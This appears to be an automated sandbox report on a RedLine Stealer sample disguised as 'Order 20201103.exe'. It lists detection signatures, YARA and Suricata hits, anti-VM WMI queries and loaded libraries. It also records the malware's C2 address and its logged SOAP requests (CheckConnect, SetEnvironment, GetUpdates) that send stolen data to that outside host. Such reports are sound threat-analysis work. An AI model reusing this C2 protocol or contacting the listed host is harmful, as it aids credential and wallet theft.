Windows Analysis Report
Order 20201103.exe

Overview

General Information

Sample name:	Order 20201103.exe
Analysis ID:	1637202
MD5:	5bb99ac790aeeea6267bb29fb67ff860
SHA1:	cf1a7f18df560dd886b71d3c036da6b66be24d03
SHA256:	113ba1be00a45820019ab0e10097ffdaabaee668013820364c9dbe7365838c21
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Initial sample is a PE file and has a suspicious name

Joe Sandbox ML detected suspicious sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Order 20201103.exe

Avira: detected

Found malware configuration

Source: Order 20201103.exe

Malware Configuration Extractor: RedLine {"C2 url": ["159.89.179.83:16383"], "Bot Id": "gooozzzi"}

Multi AV Scanner detection for submitted file

Source: Order 20201103.exe	Virustotal: Detection: 86%			Perma Link
Source: Order 20201103.exe	ReversingLabs: Detection: 86%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Uses 32bit PE files

Source: Order 20201103.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 104.26.13.31:443 -> 192.168.2.9:49684 version: TLS 1.0

Source: Order 20201103.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1800000 - Severity 1 - Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.9:49685 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 159.89.179.83:16383 -> 192.168.2.9:49683
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.9:49683 -> 159.89.179.83:16383
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 159.89.179.83:16383 -> 192.168.2.9:49683
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 159.89.179.83:16383 -> 192.168.2.9:49683

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 159.89.179.83:16383

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.9:49683 -> 159.89.179.83:16383

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 159.89.179.83:16383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 159.89.179.83:16383Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 159.89.179.83:16383Content-Length: 954091Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 159.89.179.83:16383Content-Length: 954083Expect: 100-continueAccept-Encoding: gzip, deflate

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 104.26.13.31 104.26.13.31

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 104.26.13.31:443 -> 192.168.2.9:49684 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.89.179.83

Source: global traffic

HTTP traffic detected: GET /geoip HTTP/1.1Host: api.ip.sbConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 159.89.179.83:16383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.179.83:16383
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.179.83:16383/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027C0000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.00000000027E0000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002A14000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org?q=
Source: Order 20201103.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: Order 20201103.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tmp9C1F.tmp.0.dr	String found in binary or memory: https://gemini.google.com/app?q=
Source: Order 20201103.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/v20Y&
Source: tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: Order 20201103.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Order 20201103.exe, type: SAMPLE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: Order 20201103.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Order 20201103.exe

Detected potential crypto function

Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0271E7B0	0_2_0271E7B0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0271DC90	0_2_0271DC90
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569D5C8	0_2_0569D5C8
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_056996D0	0_2_056996D0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569DAD0	0_2_0569DAD0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_05694508	0_2_05694508
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569C420	0_2_0569C420
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_05691210	0_2_05691210

Sample file is different than original file name gathered from version info

Source: Order 20201103.exe, 00000000.00000002.1096054991.000000000093E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Order 20201103.exe
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Order 20201103.exe
Source: Order 20201103.exe, 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs Order 20201103.exe
Source: Order 20201103.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs Order 20201103.exe

Uses 32bit PE files

Source: Order 20201103.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Yara signature match

Source: Order 20201103.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Order 20201103.exe, type: SAMPLE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: Order 20201103.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/45@1/2

Source: C:\Users\user\Desktop\Order 20201103.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6428:120:WilError_03

Source: C:\Users\user\Desktop\Order 20201103.exe

File created: C:\Users\user\AppData\Local\Temp\tmpBA52.tmp

Jump to behavior

Source: Order 20201103.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Order 20201103.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\Order 20201103.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp9C62.tmp.0.dr, tmpF37A.tmp.0.dr, tmp9C61.tmp.0.dr, tmpF36A.tmp.0.dr, tmp9C50.tmp.0.dr, tmp2C02.tmp.0.dr, tmp9C73.tmp.0.dr, tmpF39C.tmp.0.dr, tmp2C03.tmp.0.dr, tmp9C51.tmp.0.dr, tmp9C3F.tmp.0.dr, tmpF39B.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Order 20201103.exe	Virustotal: Detection: 86%
Source: Order 20201103.exe	ReversingLabs: Detection: 86%

Source: unknown	Process created: C:\Users\user\Desktop\Order 20201103.exe "C:\Users\user\Desktop\Order 20201103.exe"
Source: C:\Users\user\Desktop\Order 20201103.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dnsapi.dll	Jump to behavior
